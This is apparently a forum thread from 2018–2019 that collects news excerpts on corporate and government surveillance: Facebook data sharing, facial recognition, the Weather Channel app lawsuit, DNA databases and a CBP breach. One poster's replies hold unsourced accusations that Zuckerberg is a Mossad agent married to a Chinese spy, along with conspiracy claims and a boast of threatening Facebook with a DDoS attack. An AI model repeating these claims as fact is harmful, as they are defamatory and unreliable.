In an emailed statement to HuffPost, ICE spokesman Matthew Bourke said the agency doesn’t currently have a contract with Amazon for Rekognition, but noted it’s “fairly standard” for the agency to evaluate how any emerging technology might help its mission.

Bourke confirmed ICE has used facial recognition in the past “to assist during the course of criminal investigations related to fraudulent activities, identity theft and child exploitation crimes.”

In May, inspired by an American Civil Liberties Union report on the technology, a group of concerned Amazon employees sent CEO Jeff Bezos a public letter asking that the company stop providing facial recognition services to police departments and other government agencies.

“We already know that in the midst of historic militarization of police, renewed targeting of Black activists, and the growth of a federal deportation force currently engaged in human rights abuses — this will be another powerful tool for the surveillance state, and ultimately serve to harm the most marginalized,” the employees wrote.

“Our company should not be in the surveillance business; we should not be in the policing business,” they added. “We should not be in the business of supporting those who monitor and oppress marginalized populations.”

A follow-up investigation by the ACLU in July found the software has problematic accuracy issues, with false matches disproportionately identifying people of color as known criminals. To illustrate its point, the ACLU used the software to screen members of Congress against a database of 25,000 mugshots; 28 U.S. Representatives were incorrectly flagged as criminal, with the results clearly skewing along racial lines.

“Nearly 40 percent of Rekognition’s false matches in our test were of people of color,” the ACLU found, “even though they make up only 20 percent of Congress.”
Title: Re: they know what you are doing
Post by: space otter on November 22, 2018, 09:06:59 pm
the bs seems endless, doesn't it?.. :(

Worried About Facebook Tracking Your Data? A Fake Account Might Help.
When it comes to your personal information online, there's no such thing as "delete."



lots of connecting links are in the article
i'm too lazy to move them all right now




By Casey Bond
11/21/2018 07:01pm ET
https://www.huffpost.chttps://www.huffpost.com/entry/how-much-time-on-social-media_n_5be9c148e4b0783e0a1a8281om/entry/facebook-tracker-selling-data-fake-account_n_5bf454a7e4b0c097a8e08b31?qh3=


Quote
ASSOCIATED PRESS
Facebook tracks your personal information and sells it to third-parties, but you can do something about it.
When I joined Facebook in 2005, it had little use beyond sharing my class schedule and cyberstalking ex-boyfriends. Since then, however, Facebook has evolved into a social media behemoth with more than 2.27 billion active users and immeasurable power to collect and spread information.

What’s become increasingly apparent is that Facebook isn’t always using that power for good. Among the vast sea of cat videos, Cardi B memes and rants by armchair activists, you’ll find the more insidious side of Facebook: improper data harvesting, fake news, election meddling, human trafficking.

Not to mention that Facebook is tracking and selling your personal information every minute of the day.

So it’s no wonder if you’ve considered joining the #deletefacebook movement and leaving the platform for good. The only problem is that the social network has become so ubiquitous that you might actually need an account, whether it’s for work or to access other online apps and tools.

What can you do? We spoke with Theresa Payton, former White House chief information officer and current chief executive of the security consulting company Fortalice Solutions, about what steps you can take to hide your identity from Facebook.

Creating A Burner Facebook Account
Your first thought might be to create a fake ― or burner ― Facebook account you can use to access the platform anonymously. Though that is a possibility, Payton has a few words of warning.

First, fake profiles have a pretty negative connotation. Users in countries such as Russia, China, Iran, North Korea and the U.S. have successfully created fake personas used to get people upset about social issues or promote hate speech. That’s one of the reasons why, according to Facebook’s terms and conditions, fake accounts aren’t allowed. If you create one, Facebook has a right to shut it down. So keep in mind that if you devote time and energy on creating a burner, you could end up losing it at any time.

However, simply restricting your privacy settings might not feel like enough. “If you feel like, from a privacy perspective, you want to go that extra step and set up a fake persona ― knowing that you’re potentially in violation of the terms and conditions ― that can be another added way to give you privacy,” Payton said.

Another thing to keep in mind is that even with a burner it’s fairly easy for Facebook to figure out who you are.

“If you start putting pictures of yourself on that account, facial recognition technology is going to out you,” she said. “If you put your real cellphone number with your fake name, the matching algorithm of your cellphone data is going to out you.” Even the device you use to access the platform leaves a digital fingerprint. “When you log in to any of these social media companies, one of the things they do is scoop up your device ID,” Payton said. “Your device ID is unique to your device, which is then, through purchasing data, traceable back to you.”

But let’s say you really take all the precautions to make your burner account completely anonymous. You use a fake address, fake cellphone number, fake photos and even go so far as to not use your smartphone and only access Facebook on an old laptop that you paid cash for. According to Payton, there are still ways you can be identified. The IP address that you log in from, the operating system you use, the make and model of your device and even your browser choice ― all of these data points are collected and correlated.

“We’re so far down the path that there’s a lot you can do to grab your privacy back, but it will never be complete.”

- THERESA PAYTON, CEO OF FORTALICE SOLUTIONS
“Let’s say you have a fake account and you often like to surf and shop in a coffee shop,” Payton explained. “And you have a rewards program with that coffee shop that really is you. All they have to do is start correlating data between that laptop that belongs to your fake persona and the person who belongs to this loyalty program.” Bam ― outed again.

In fact, Payton said a lot of people don’t really understand how pervasive the tracking can be on each one of us. “Candidly, we’re so far down the path that there’s a lot you can do to grab your privacy back, but it will never be complete,” she said, likening the situation to trying to put toothpaste back into the tube.

But that doesn’t mean all hope is lost. There are steps you can take to protect the data associated with your personal Facebook account without creating a separate burner account.

Don’t Give Up Unnecessary Information
Every piece of information you share on your Facebook profile is sold to marketers, no matter how insignificant it might seem. When filling out your profile, don’t share details that you don’t have to, such as your marital status, political and religious affiliations or location. Even better, use fake information. ”There’s lots of things that you can do to throw off the data matching that goes on,” Payton said. For instance, instead of using your home address, list the address of a local cafe.

Use An Alias
Though creating a full-on fake persona is against the rules, you can be strategic about what name you use for your real profile to throw off data trackers. For example, Payton suggests using a childhood nickname that allows friends to find you but won’t match up to marketing databases or purchasing information.

Get A Burner Email And Phone Number
You can easily use other types of burners to your advantage. For instance, Payton suggested creating an email account that you only use for social media. You can also set up a mobile number through a service like Google Voice or Talkatone and have it forwarded to your real cell number.

Switch Up Your Browsing Habits
Payton recommended mixing up the tools you use when surfing the web to throw off social media tracking. For example, don’t always use the same search engine ― switch to Bing or give Duck Duck Go a try once in a while. Switch among browsers, such as Chrome, Safari and Internet Explorer. You can also consider using the Tor browser. “A lot of people associate it with surfing the dark web, but you can actually use the Tor browser for regular, everyday browsing for additional privacy and anonymity,” Payton said.

Install A Privacy Extension
Another added measure you can pursue is installing a privacy browser extension. Payton personally uses Ghostery and Privacy Badger, which are both free and will control ads, block invisible trackers and protect your data while browsing the internet. “In some cases, some sites won’t work at all because I have my settings up really high. It’s fascinating to see which websites are stopped dead in their tracks,” Payton said.

Use A VPN
Though it might sound like you need an engineering degree to install a virtual private network and proxy server program (say that three times fast), it’s actually pretty simple. Plus, there are low-cost and even free options.

“You can actually route your traffic so that it’s not coming to Facebook and other social media sites from your house,” Payton explained. Instead, you can make it look like you’re a user in Europe, Asia or Mexico. “They won’t be the wiser.”

Grab Your Privacy Back
Facebook’s ability to track and identify you online is eerily Orwellian. But the good news is that you’re not entirely powerless when it comes to protecting your data. Payton says she doesn’t want anyone to feel scared by these privacy concerns.

“I want them to be aware. I want them to be engaged and enraged. And I want them to be empowered ... to grab their privacy back.”

RELATED COVERAGE
What You Need To Know About Deleting Your Facebook Account
https://www.huffpost.com/entry/want-to-delete-your-facebook-account_n_5aafee8ae4b00549ac7df36f

A Real-Life Hacker Reveals What You Should Stop Doing Online
https://www.huffpost.com/entry/hacker-online-safety_n_5b201b58e4b09d7a3d77e471


This Is How Much Time You Should Spend On Social Media Per Day
https://www.huffpost.com/entry/how-much-time-on-social-media_n_5be9c148e4b0783e0a1a8281
Title: Re: they know what you are doing
Post by: robomont on November 23, 2018, 01:14:55 am
i like torturing marcy zookeeper,not killing him.
im a firm believer in trash in trash out.if everybody on the planet searched cockroach while logged into facebook.then marketting will begin to market cockroaches to us.
as everybody should know,marketting cockroaches is not prudent,this would cause fb revenue to collapse.
rather than run from fb,i devise overloading the beast with false intel.

fb is a toy for kids and grandmas,not much of anything else.imho.
as for zookeeper.hes mossad and his wife is chinese spy.no i dont have link!

his company is scheduled for a slow death and twenty years from now will be comparable to findagrave.com!

his chances at president are also nill.i sent his ad department a spill all on him and clearly stated i would ddos fb into oblivion if he tried to run for president.

since then,theres been no more word out of him on doing that.he knows i will.
after i sent him that notification,i then rejoined,a way of being like a dog and marking my territory.lol.

now some may say thats illegal,is not a monopoly illegal?
i would be defending myself and the nation against his dream of a police state and dictatorship.
you can already see this potential in his management style.

the reason for this started months after olbummer came into office.i had 10,000 plus friends worldwide and the best intelligence network in the world.i knew what state dept was gonna do before state new what they were gonna do.

i bragged about this on glp and a month later olbummer had sit down with marcy and jobs.
the friends policy changed a week later.i lost my network that me and wife spent two weeks building.we had rubbed the crome off the buttons of my cellphone friending folks.
thats why i have been able to see the world as it really is.
a mudball with a bunch of chimps fighting king of the hill.and its a very small planet,way smaller than most know.six degrees of seperation,really.
im still able to stay on top the wave because of the knowledge i gained then.
basically its a fight for rare earths.everything else is distractions.bs.
Title: Re: they know what you are doing
Post by: ArMaP on November 23, 2018, 03:13:52 pm
I do have several facebook accounts all of them with variations of my real name. I use different browsers for different accounts, and I whenever facebook asks me if I like something or other I always give true answers, but I only answer some of the questions, so facebook's suggestions of what I may like are completely different for my different accounts, for one account I got suggestions of gay groups while in another I got suggestions of groups related to Eastern European countries.
Title: Re: they know what you are doing
Post by: space otter on December 12, 2018, 09:24:18 am


if you didn't already know


Quote
Google is an enormous corporation working in a complex world. And though many of its services are free, they are hardly without cost: Google makes 84 percent of its revenue from advertising, which it is able to sell in such enormously high volume because it knows so much about the people who use its products.


entire article here
https://www.msn.com/en-us/news/technology/google-chief-faces-lawmakers-concerned-with-silicon-valley-but-often-puzzled-by-technology/ar-BBQPcl1
(https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBQPamR.img?h=403&w=624&m=6&q=60&o=f&l=f&x=1836&y=1039)
© Provided by Oath Inc. Google CEO Sundar Pichai appears before the House Judiciary Committee on Tuesday. (Photo: J. Scott Applewhite/AP)
Quote
WASHINGTON — Two things were clear from Tuesday’s testimony of Sundar Pichai, the chief executive of Google’s parent company, Alphabet Inc.: Everyone is unhappy with Silicon Valley, though everyone is unhappy for different reasons.

........
other  articles about this

What Happened When Google's CEO Testified Before Congress
https://blog.hubspot.com/marketing/google-ceo-sundar-pichai-congressional-hearing
18 hours ago - Google CEO Sundar Pichai today appeared before members of the U.S. House of Representatives Judiciary Committee, in a hearing titled "Transparency & Accountability: Examining Google and its Data Collection, Use and Filtering Practices." Some topics dominated lawmakers' questions ...

Live: Google CEO Sundar Pichai testifies to Congress - Recode
https://www.recode.net/.../live-google-ceo-congress-hearing-china-testimony-house-ju...
1 day ago - Google chief executive Sundar Pichai will answer questions before the House Judiciary Committee today in what has become a critical moment ...

live vid
https://sanfrancisco.cbslocal.com/video/3992609-congress-grills-google-ceo-on-political-bias-and-privacy/
Congress Grills Google CEO On Political Bias And Privacy
Allen Martin reports on Google CEO Sundar Pichai testifying at House Judiciary Committee hearing (12-11-2018)



It was created through a corporate restructuring of Google on October 2, 2015, and became the parent company of Google and several former Google subsidiaries. The two founders of Google assumed executive roles in the new company, with Larry Page serving as CEO and Sergey Brin as president.
Alphabet Inc. - Wikipedia
https://en.wikipedia.org/wiki/Alphabet_Inc
Pichai owns 89,727 Class C Capital shares, 85,415 Class C Google shares, and 6,317 Class A Google Shares according to his most recent filing with the SEC on Nov. 26, 2018.



Every division under Google parent company Alphabet: FULL LIST ...
https://www.businessinsider.com/alphabet-google-company-list-2017-4
Jul 11, 2018 - Thomson Reuters Several of the projects and companies overseen by Alphabet Inc., the holding company Google created in 2015, have ...
Title: Re: they know what you are doing
Post by: fansongecho on December 12, 2018, 08:57:34 pm
@SpaceOtter  ;)

Hi Kidda', are you following anything to do with Q anon?

I saw this on Weds am UK time -

https://cdn.qmap.pub/images/7db0c8101324227819c05ccacd46c66f0807e2d61e49ef0971a14fd41894afa1.jpg
It must be very nice to hold so much in shares  :)

https://cdn.qmap.pub/images/8518379c52484bbf3175441d5cc6f0d13349c12e56c745b5bca122165e5a8443.jpg

These can be found at = https://qmap.pub/

It could all be a coincidence of course - ???   ;D

Cheers

Fans'

PS - how many of you folks use Google ?


https://qmap.pub/
Title: Re: they know what you are doing
Post by: robomont on December 12, 2018, 09:40:24 pm
lol,there are ai's/google and then there are AI's/nsa.
i highly suspect the state department is corrupt and the nsa is taking them down a few notches.i suspect Q is AI and google is cia investment.i suspect nsa is fixing to burn the hell out of cia,bigly.trump is gonna grab all that abc cash via the order he signed a few months ago.that ceo is gonna be takin craps in the river of india soon.prayin he dont see gitmo.or worse.
i think the nsa is playin with multiple mice just before the kill.
Title: Re: they know what you are doing
Post by: robomont on December 12, 2018, 09:48:01 pm
ill go even further and take a guess,the huawei princess brought us chinas golden fleece of the entire chinese military technology systems.a backdoor into it all.is secretly fleeing china.this tech will be layered into the new foxcon tech at the new usa plant thats being built.
and because im such a braggart.ill tell you who gave trump the idea to bring in foxcon,yours truly: )
Title: Re: they know what you are doing
Post by: space otter on December 12, 2018, 11:04:16 pm


robo
as usual i only got one word of that that struck any cord at all and that is the huawei thing..i think that's going to be a nasty stew
Title: Re: they know what you are doing
Post by: The Seeker on December 13, 2018, 01:20:17 am

as usual i only got one word of that that struck any cord at all and that is the huawei thing..i think that's going to be a nasty stew
Otter, could you enlighten me as to what this huawei thing is? It would be appreciated...
Title: Re: they know what you are doing
Post by: ArMaP on December 13, 2018, 06:49:20 am
Otter, could you enlighten me as to what this huawei thing is? It would be appreciated...
I suppose it's about this (https://www.channelnewsasia.com/news/world/home-comforts-and-a-curfew-for-princess-of-huawei-on-bail-11027222).
Title: Re: they know what you are doing
Post by: space otter on December 13, 2018, 11:01:54 am


yep Armap that's it

going to stick the info  in the china thread
here
 http://www.thelivingmoon.com/forum/index.php?topic=8337.0
Title: Re: they know what you are doing
Post by: space otter on December 19, 2018, 07:36:21 pm


privacy, you say. ? . not on farce book


Facebook Allowed Some Tech Companies To Read And Delete Users’ Private Messages: NYT
Since 2010, the tech giant has reportedly granted over 150 companies deeper access to users’ personal data than it has admitted.


By Dominique Mosbergen
BUSINESS 12/19/2018 06:10 am ET Updated 10 hours ago

Quote
Facebook reportedly gave some of the world’s largest tech companies access to users’ personal data, including allowing some firms to read and delete users’ private messages and obtain contact information through their friends, without users’ knowledge or consent.

The New York Times on Tuesday detailed how Facebook, through data-sharing “business partnerships,” shared and traded user data with more than 150 companies, including Amazon, Microsoft, Netflix, Spotify, Yahoo and the Russian search engine Yandex.

These partnerships, the oldest of which dates to 2010 and all of which were active in 2017, “effectively exempt[ed] those business partners” from Facebook’s usual privacy rules, the Times reported, citing hundreds of pages of internal Facebook documents.

Microsoft’s Bing search engine, for example, was reportedly allowed to see the names of nearly all Facebook users’ friends without their consent; Spotify, Netflix and the Royal Bank of Canada were able to read, write and delete users’ private messages; and Amazon, Microsoft and Sony could obtain users’ contact information through their friends.

Yahoo and Yandex reportedly retained access to Facebook user data even after such access was supposed to have been halted. And Facebook gave Apple the power to see Facebook users’ contacts and calendar entries even in cases where users had disabled all data sharing. (Yahoo is owned by Verizon, which also is HuffPost’s parent company.)

In all, the data of “hundreds of millions of people” were sought monthly by applications made by these Facebook business partners, according to the Times. Some of these partnerships reportedly remain in effect today.

rest of article at link here:
https://www.huffingtonpost.com/entry/facebook-data-sharing-partnerships-privacy_us_5c19de82e4b08db99058dd3a

Title: Re: they know what you are doing
Post by: zorgon on December 19, 2018, 09:13:12 pm
Facebook wants users' private banking and financial data

Your banking data was once off-limits to tech companies. Now they’re racing to get it.


Quote
Facebook’s push to gain access to users' banking data and other sensitive financial information could help make online banking more efficient — or it could backfire among those skeptical that the world’s biggest social network can reliably safeguard personal data.

The site has joined a growing race among big technology companies seeking private information once regarded as off-limits: users' checking-account balances, recent credit card transactions and other facts of their personal finances and everyday lives.

Facebook said this week that it had proposed data-sharing partnerships with banks and credit card companies that would allow users to access their personal account information from within the social network’s messaging service, Facebook Messenger, as an alternative to speaking with customer service representatives or automated chatbots on the companies’ banking or credit sites.

https://www.washingtonpost.com/technology/2018/08/07/your-banking-data-was-once-off-limits-tech-companies-now-theyre-racing-get-it/?noredirect=on&utm_term=.cd0660862ae4
Title: Re: they know what you are doing
Post by: zorgon on December 19, 2018, 09:15:03 pm
Facebook wants you to do banking on its Messenger app

Quote
Facebook says it's working with banks on bringing more services to its apps, partnerships that could integrate more personal financial data into the social network recently criticized by lawmakers for a callous approach to its users' privacy.

The disclosures follow a report in "The Wall Street Journal" that Facebook is urging banks to offer information such as credit card transactions and checking account balances so the social giant can offer customer service options on its messaging platform, Messenger. The data would be used for potential features including fraud alerts and the ability to check balances within the app.

Facebook said it's looking to get more banks and financial companies to offer services on its Messenger app, say by allowing a customer to message with his or her bank as an alternative to phone services,  but it's not actively asking for data related to financial transactions.

"Like many online companies with commerce businesses, we partner with banks and credit card companies to offer services like customer chat or account management," Facebook said.

"The idea is that messaging with a bank can be better than waiting on hold over the phone — and it's completely opt-in."

https://www.usatoday.com/story/tech/nation-now/2018/08/07/facebook-denies-report-asked-banks-user-financial-data/921751002/
Title: Re: they know what you are doing
Post by: zorgon on December 19, 2018, 09:18:03 pm
Quote
Facebook also said it is looking to get more banks and financial companies to offer services on Messenger.

The Journal also reported that concerns over data privacy have been a sticking point for banks in their conversations with the social networking giant.

Facebook's discussions for banking data follow a challenging year for the social network in which the company admitted that information on 87 million users was obtained improperly by political consultancy firm Cambridge Analytica.

Facebook's public reputation has also been stung by the use of its platform by Russia to attempt to sway the 2016 presidential election, as well as the continued spread of misinformation.

Last week, Facebook suffered the worst one-day loss in Wall Street history, shedding $100 billion in market value.

https://www.usatoday.com/story/tech/nation-now/2018/08/07/facebook-denies-report-asked-banks-user-financial-data/921751002/
Title: Re: they know what you are doing
Post by: zorgon on December 19, 2018, 09:20:49 pm
Quote
Facebook said the data would not be shared with marketers or used for ad-targeting purposes, [ya right :P ] and no major U.S. financial institutions have announced that they’re interested in a joint arrangement.[Well THAT is good news] But a company representative said several unnamed banks and credit card companies have voiced interest in teaming up with the social network, even proposing their own potential deals.

https://www.washingtonpost.com/technology/2018/08/07/your-banking-data-was-once-off-limits-tech-companies-now-theyre-racing-get-it/?noredirect=on&utm_term=.cd0660862ae4
Title: Re: they know what you are doing
Post by: The Seeker on December 20, 2018, 06:39:06 am
Facebook needs to go take a flying leap at a rolling donut on top of the Matterhorn  ::)
They have absolutely no need for any of my, or your, personal financial and/or banking information,ever.

George Orwell is probably laughing his ass off at the stupidity of people in general and how the dummies have walked right into this monster called Facebook(Facespook is more like it)

 ::) ::) ::)

Seeker
Title: Re: they know what you are doing
Post by: space otter on January 05, 2019, 11:42:44 am


wow.. even the weather channel....

Weather Channel app sued over alleged mining of users' data - CNN
https://www.cnn.com/2019/01/05/us/weather-channel-app-suit/index.html
3 hours ago -

Weather Channel app sued over alleged mining of users' data
By Hollie Silverman and Joe Sterling, CNN

Updated 10:22 AM ET, Sat January 5, 2019
Quote
(CNN)The city of Los Angeles has sued to stop the operator of The Weather Channel's mobile phone application from allegedly "covertly mining the private data of users and selling the information to third parties, including advertisers."

"We're acting to stop this alleged deceit," Los Angeles City Attorney Mike Feuer said Friday in a statement. "We allege TWC (The Weather Channel) elevates corporate profits over users' privacy, misleading them into allowing their movements to be tracked, 24/7."

Defendant TWC Product and Technology, a subsidiary of IBM, disputes the claims.
"Weather Company has always been transparent with use of location data; the disclosures are fully appropriate, and we will defend them vigorously," IBM spokesman Saswato Das told CNN.

READ THE LAWSUIT...link from this link takes you to a pdf

The complaint contends that "for years, TWC has deceptively used its Weather Channel APP to amass its users' private, personal geolocation data -- tracking minute details about its users' locations throughout the day and night, all the while leading users to believe that their data will only be used to provide them with 'personalized local weather data, alerts and forecasts.'

"TWC has then profited from that data, using it and monetizing it for purposes entirely unrelated to weather or the Weather Channel App. In fact, unbeknownst to its users, TWC's core business is amassing and profiting from user location data."

The suit was filed Thursday in state court on behalf of Californians.
Deep in the privacy policy
The complaint claims information about the company's practices are "intentionally" obscured "because it recognizes that many users would not permit the Weather Channel App to track their geolocation if they knew the true uses of that data."
By "combing" through the nearly 10,000-word privacy policy, the complaint says, users can learn "that their geolocation may be tracked for purposes other than 'personalized local weather data, alerts and forecasts.'"



NYT: Facebook offered big tech firms more user data than previously revealed

The privacy settings section, the complaint says, "vaguely states that geolocation data may be used for 'geographically relevant ads and content' and may be shared with 'partners' for 'the provision of services such as business operations, advertising solutions or promotions.'"

"Based on the misleading statements and omissions," the complaint said. "TWC is able to convince approximately 80% of the Weather Channel App's users to grant access to their geolocation data. TWC then proceeds to track those users' movements in minute detail."
Feuer said the information amassed "is allegedly used for targeted advertisements by at least a dozen third party websites over the past 19 months based on locations users frequent, and has been by hedge funds interested in analyzing consumer behavior."
The complaint asks that TWC be stopped from "engaging in the unfair and fraudulent business acts and practices" and be assessed civil penalties -- up to $2,500 for each violation of the Unfair Competition Law and up to $2,500 for each violation of the law "perpetrated against senior citizens or disabled persons."

The case "goes to the core of one of today's most fundamental issues ... privacy in the digital age," Feuer said in his statement.
"We believe Americans must have the facts before giving away our most personal information," the city attorney said. "If the cost of a weather forecast will be the sacrifice of deeply private information -- like precisely where we are, day and night -- it must be clear, in advance."

 



https://www.newsweek.com/weather-channel-app-selling-user-info-profit-one-lawsuit-says-so-1280325
U.S.
IS THE WEATHER CHANNEL APP SELLING USER INFO FOR PROFIT? ONE LAWSUIT SAYS SO
BY SCOTT MCDONALD ON 1/5/19 AT 1:40 AM



https://www.nbcnews.com/nightly-news/video/lawsuit-alleges-the-weather-channel-app-profited-off-user-location-data-1420286531951
Lawsuit alleges The Weather Channel app profited off user location data



Delete the Weather Channel App If You're Concerned About Your ...
https://lifehacker.com/delete-the-weather-channel-app-if-youre-concerned-about-183...
1 day ago - The Weather Channel, an app drawer staple for many of us, may be using your location data without your consent. The city of Los Angeles filed ...


Title: Re: they know what you are doing
Post by: space otter on March 07, 2019, 11:28:46 am

i thought this was important enough to post.. there is no privacy and now they will use your blood any way they can 
are you an antenna ?..who are you related to? what group can they put you and your blood-relatives in?
they already have been collecting this material from babies born in hospitals for years

 geeeeeeeeze


https://www.msn.com/en-us/money/companies/major-dna-testing-company-sharing-genetic-data-with-the-fbi/ar-BBT3Pft?li=BBnb7Kz

Major DNA testing company sharing genetic data with the FBI

Quote
The decision by a prominent consumer DNA-testing company to share data with federal law enforcement means investigators have access to genetic information linked to hundreds of millions of people.

FamilyTreeDNA, an early pioneer of the rapidly growing market for consumer genetic testing, confirmed late Thursday that it has granted the Federal Bureau of Investigation access to its vast trove of nearly 2 million genetic profiles. The arrangement was first reported by BuzzFeed News.

Concerns about unfettered access to genetic information gathered by testing companies have swelled since April, when police used a genealogy website to ensnare a suspect in the decades-old case of the Golden State Killer. But that site, GEDmatch, was open-source, meaning police were able to upload crime-scene DNA data to the site without permission. The latest arrangement marks the first time a commercial testing company has voluntarily given law enforcement access to user data.

The move is of concern to more than just privacy-minded FamilyTreeDNA customers. One person sharing genetic information also exposes those to whom they are closely related. That’s how police caught the alleged Golden State Killer. A study last year estimated that only 2 percent of the population needs to have done a DNA test for virtually everyone’s genetic information to be represented in that data.

Doubling Data
FamilyTreeDNA’s cooperation with the FBI more than doubles the amount of genetic data law enforcement already had access to through GEDmatch. On a case-by-case basis, the company has agreed to test DNA samples for the FBI and upload profiles to its database, allowing law enforcement to see familial matches to crime-scene samples. FamilyTreeDNA said law enforcement may not freely browse genetic data but rather has access only to the same information any user might.

“The FBI does not have unfettered access to the FamilyTreeDNA database,” Bennett Greenspan, the company founder and chief executive officer, said in a statement.

The genealogy community expressed dismay. Last summer, FamilyTree DNA was among a list of consumer genetic testing companies that agreed to a suite of voluntary privacy guidelines, but as of Friday morning, it had been crossed off the list.

“The deal between FamilyTreeDNA and the FBI is deeply flawed,” said John Verdi, vice president of policy at the Future of Privacy Forum, which maintains the list. “It’s out of line with industry best practices, it’s out of line with what leaders in the space do and it’s out of line with consumer expectations.”

Some in the field have begun arguing that a universal, government-controlled database may be better for privacy than allowing law enforcement to gain access to consumer information.

FamilyTreeDNA said its lab has received “less than 10 samples” from the FBI. It also said it has worked with state and city police agencies in addition to the FBI to resolve cold cases.

“The genealogy community, their privacy and confidentiality has always been our top priority,” the company said in an email response to questions.

Consumer DNA testing has become big business. Ancestry.com and 23andMe Inc. alone have sold more than 15 million DNA kits. Concerns about an industry commitment to privacy could hamper the industry’s rapid growth.

Since the arrest of the suspected Golden State Killer, more than a dozen other suspects have been apprehended using GEDmatch. By doubling the amount of data law enforcement have access to, those numbers are sure to surge.

“The real risk is not exposure of info but that an innocent person could be swept up in a criminal investigation because his or her cousin has taken a DNA test,’’ said Debbie Kennett, a British genealogist and author. “On the other hand, the more people in the databases and the closer the matches, the less chance there is that people will make mistakes.’’

Related video: DNA test kits uncover surprising genetic info (provided by CBS Los Angeles)
Title: Re: they know what you are doing
Post by: Sgt.Rocknroll on March 07, 2019, 03:15:40 pm
I’m a big user of Ancestry.com. I’ve traced my family back 27 generations. I’m constantly getting asked/prodded by them to submit to DNA testing which I refuse to do. And I tell my friends/relatives not to submit to their scams. Now I know my DNA is out there possibly from the medical procedures I’ve had, but I have never nor will I ever give consent to have my DNA used. I know that these companies will after a time sell my DNA to the highest bidder even if they say they won’t.
Title: Re: they know what you are doing
Post by: space otter on March 15, 2019, 04:26:24 pm


well if you've done a crime - expect to do the time
so far dna doesn't lie...



https://www.msn.com/en-us/news/crime/dna-match-leads-to-arrest-in-navy-grads-killing-%E2%80%94-34-years-later/ar-BBUMLnf?li=BBnb7Kz


Quote
Her killing has gone unsolved for 34 years.

On Thursday, Seminole County Sheriff Dennis Lemma announced an arrest in Cahanes' killing: Using a public database, he said, investigators matched DNA found on Cahanes' body to Thomas Lewis Garner, a 59-year-old dental hygienist from Jacksonville.

.
.
.

For years, authorities had tested the DNA found on Cahanes to no avail. But recent advancements allowed investigators to build a "family tree" that eventually led to Garner being considered a suspect in the case. A spokesman for the Sheriff's Office said Garner's DNA was matched using a "genealogy research database," but did not elaborate on which specific database led authorities to Garner.

Investigators then trailed Garner until he dropped a "personal item" that analysts could test for DNA. Testing later placed the odds of the evidence found on Cahanes' body belonging to anyone other than Garner at 700 billion to 1, Lemma said.

Garner had not previously been considered a suspect, Lemma said. Garner has not admitted to killing Cahanes and authorities are not sure how the two encountered each other.
Title: Re: they know what you are doing
Post by: space otter on June 10, 2019, 07:18:29 pm

smile - you're on camera




Quote
https://techcrunch.com/2019/06/10/cbp-data-breach/

CBP says traveler photos and license plate images stolen in data breach
Zack Whittaker@zackwhittaker / 6 hours ago

U.S. Customs and Border Protection  has confirmed a data breach has exposed the photos of travelers and vehicles traveling in and out of the United States.

The photos were transferred to a subcontractor’s network and later stolen through a “malicious cyberattack,” a CBP spokesperson told TechCrunch in an email.

CBP’s networks were unaffected by the breach.

“CBP learned that a subcontractor, in violation of CBP policies and without CBP’s authorization or knowledge, had transferred copies of license plate images and traveler images collected by CBP to the subcontractor’s company network,” said an agency statement.

“Initial information indicates that the subcontractor violated mandatory security and privacy protocols outlined in their contract,” the statement read.

The agency first learned of the breach on May 31.

A spokesperson for the agency later said the security incident affected “fewer than 100,000 people” through a “few specific lanes at a single land border” over a period of a month and a half.

“No passport or other travel document photographs were compromised and no images of airline passengers from the air entry/exit process were involved,” the spokesperson said.

The agency did not name the subcontractor.

The breach comes weeks after a report said Perceptics, a government contractor, which claims to be the “sole provider” of license plate readers at U.S. land borders, was breached and its data was dumped on the dark web. It’s not yet known if the two incidents are linked. But according to the Washington Post, a Microsoft Word document containing the statement included “Perceptics” in the title. (TechCrunch received the statement as text in an email.)

CBP, however, said that ‘none of the image data has been identified on the Dark Web or internet.”

A spokesperson for Perceptics did not immediately comment.

It remains unclear exactly what kind of photos were taken, such as if the images were collected directly from CBP officers by visitors entering the U.S. or part of the agency’s rollout of facial recognition technology at U.S. ports of entry.

A CBP spokesperson did not return a follow-up email.

The agency processes more than a million travelers entering the U.S. every day.

CBP said it had notified members of Congress and is “closely monitoring” CBP-related work by the subcontractor.

Ron Wyden, a Democratic senator vocal on national security issues, said the government “needs to explain exactly how it intends to prevent this kind of breach from happening in the future.”

“This incident should be a lesson to those who have supported expanding government surveillance powers – these vast troves of Americans’ personal information are a ripe target for attackers,” said Wyden.

News of the CBP breach has drawn ire from the civil liberties crowd, which have long opposed the collection of facial recognition at the border.

In remarks, ACLU senior legislative counsel Neema Singh Guliani said the breach “further underscores the need to put the brakes” on the government’s facial recognition efforts.

“The best way to avoid breaches of sensitive personal data is not to collect and retain such data in the first place,” she said.

Updated with new information from CBP.

.....................................................

https://techcrunch.com/2018/09/25/watchdog-says-face-scanning-at-us-airports-is-plagued-with-technical-problems/

Watchdog says face scanning at US airports is plagued with technical problems
Zack Whittaker@zackwhittaker / 9 months ago


A watchdog report has warned that Homeland Security’s face scanning program, designed to track all departing travelers from the U.S., is facing “technical and operational challenges” that may not see the system fully working by the time of its estimated completion in 2021.

The report by Homeland Security’s inspector general said that although Customs and Border Protection (CBP) was making “considerable progress” in rolling out the facial scanning technology, the program is dogged with problems.

CBP has been on a years-long effort to roll out facial recognition at U.S. airports, trialing one airport after the other with the help of airlines, in an effort to track passengers as they leave the U.S. Although citizens can opt-out, the biometric scanning is mandatory for all foreign nationals and visitors. CBP is using the system to crack down on those who overstay their visas, but critics say the system violates privacy rights.

Currently in nine airports, the facial recognition program is set to be operational in the top 20 airports by 2021. But the inspector general report out Tuesday said the government may miss that target.

“During the pilot, CBP encountered various technical and operational challenges that limited biometric confirmation to only 85 percent of all passengers processed,” the report said. “These challenges included poor network availability, a lack of dedicated staff, and compressed boarding times due to flight delays.”

The report said the scanners failed to “consistently match individuals of certain age groups or nationalities.”

Although the system detected 1,300 visitors overstaying their allowed time in the U.S., the watchdog seemed to suggest that more overstays would have been found if the system wasn’t running under capacity at an 85 percent success rate.

As a result, CBP “may be unable to meet expectations for achieving full operational capability, including biometrically processing 100 percent of all international passengers at the 20 busiest airports,” the report said.

Staffing issues and a lack of certainty around airline assistance are also throwing the program into question. After all, CBP said that it will rely on the airlines to take the facial scans, while CBP does the background checks behind the scenes. But CBP’s “plans to rely upon airport stakeholders” for equipment purchases, like digital cameras needed for taking passenger photos at boarding gates “pose a significant point of failure” for the program, the report read.

“Until CBP resolves the longstanding questions regarding stakeholder commitment to its biometric program, it may not be able to scale up to reach full operating capability by 2021 as planned,” the report said.

